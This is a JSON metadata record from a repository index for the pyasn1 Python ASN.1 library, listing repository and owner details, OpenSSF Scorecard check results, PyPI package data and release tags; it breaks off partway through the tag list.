{"id":371444,"url":"https://github.com/pyasn1/pyasn1","last_synced_at":"2026-08-25T14:18:25.148Z","repository":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-08-10T20:31:34.000Z","size":1982,"stargazers_count":53,"open_issues_count":36,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-15T09:14:03.354Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-14T08:37:19.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36699632,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-15T02:00:05.847Z","response_time":94,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-23T01:21:25.781Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":63,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-23T01:21:25.796Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"packages":[{"id":2865248,"name":"pyasn1","ecosystem":"pypi","description":"Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)","homepage":"https://github.com/pyasn1/pyasn1","licenses":"BSD-2-Clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":null,"versions_count":44,"first_release_published_at":"2009-11-23T22:41:54.000Z","latest_release_published_at":"2026-07-09T01:12:32.000Z","latest_release_number":"0.6.4","last_synced_at":"2026-08-20T11:14:45.902Z","created_at":"2022-04-10T12:09:41.090Z","updated_at":"2026-08-21T10:14:07.661Z","registry_url":"https://pypi.org/project/pyasn1/","install_command":"pip install pyasn1 --index-url https://pypi.org/simple","documentation_url":"https://pyasn1.readthedocs.io","metadata":{"funding":null,"documentation":"https://pyasn1.readthedocs.io","classifiers":["Development Status :: 5 - Production/Stable","Environment :: Console","Intended Audience :: Developers","Intended Audience :: Education","Intended Audience :: Information Technology","Intended Audience :: System Administrators","Intended Audience :: Telecommunications Industry","Natural Language :: English","Operating System :: OS Independent","Programming Language :: Python :: 3","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Programming Language :: Python :: 3.8","Programming Language :: Python :: 3.9","Programming Language :: Python :: Implementation :: CPython","Programming Language :: Python :: Implementation :: PyPy","Topic :: Communications","Topic :: Software Development :: Libraries :: Python Modules"],"normalized_name":"pyasn1","project_status":null},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-08-10T20:31:34.000Z","size":1982,"stargazers_count":53,"open_issues_count":36,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-15T09:14:03.354Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-14T08:37:19.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36699632,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-15T02:00:05.847Z","response_time":94,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-16T00:36:38.924Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":63,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-16T00:36:38.938Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl"